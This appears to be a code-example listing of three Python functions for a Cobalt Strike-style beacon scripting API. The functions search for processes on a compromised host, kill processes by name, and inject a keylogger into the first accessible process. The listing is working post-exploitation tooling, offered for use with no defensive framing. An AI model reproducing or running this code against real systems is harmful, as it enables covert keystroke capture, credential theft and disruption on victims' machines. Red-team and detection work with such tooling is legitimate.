예제 #1
0
def _(bid, proc_name):
    def callback(procs):
        if procs:
            for proc in procs:
                out = 'Found {}: {}'.format(proc_name, proc['pid'])
                if 'arch' in proc:
                    out += ' ({})'.format(proc['arch'])
                if 'user' in proc:
                    out += ' ({})'.format(proc['user'])
                aggressor.blog2(bid, out)
        else:
            aggressor.berror(bid, 'No processes named {}'.format(proc_name))

    aggressor.btask(
        bid,
        'Tasked beacon to search for processes named {}'.format(proc_name))
    helpers.find_process(bid, proc_name, callback)
예제 #2
0
def _(bid, proc_name):
    def callback(procs):
        if procs:
            for proc in procs:
                out = 'Killing {}: {}'.format(proc_name, proc['pid'])
                if 'arch' in proc:
                    out += ' ({})'.format(proc['arch'])
                if 'user' in proc:
                    out += ' ({})'.format(proc['user'])

                aggressor.btask(bid, out)
                aggressor.bkill(bid, proc['pid'], silent=True)
        else:
            aggressor.berror(bid, 'No processes named {}'.format(proc_name))

    aggressor.btask(
        bid, 'Tasked beacon to kill processes named {}'.format(proc_name))
    helpers.find_process(bid, proc_name, callback)
예제 #3
0
def _(bid, proc_name=None):
    def parsed_callback(procs):
        for proc in procs:
            if 'arch' in proc and 'user' in proc:
                # inject it
                aggressor.blog(
                    bid, 'Keylogging process {} ({} {})'.format(
                        proc['name'], proc['pid'], proc['arch']))
                aggressor.bkeylogger(bid,
                                     proc['pid'],
                                     proc['arch'],
                                     silent=True)
                return

        # nothing found
        if proc_name:
            aggressor.berror(
                "Didn't find any processes named '{}' to inject keylogger".
                format(proc_name))
        else:
            aggressor.berror("Didn't find any processes to inject keylogger")

    def ps_callback(bid, content):
        procs = helpers.parse_ps(content)
        parsed_callback(procs)

    if proc_name:
        aggressor.blog2(
            bid,
            'Tasked beacon to keylog first accessible process named {}'.format(
                proc_name))
        helpers.find_process(bid, proc_name, parsed_callback)
    else:
        aggressor.btask(bid,
                        'Tasked beacon to keylog first accessible process')
        aggressor.bps(bid, ps_callback)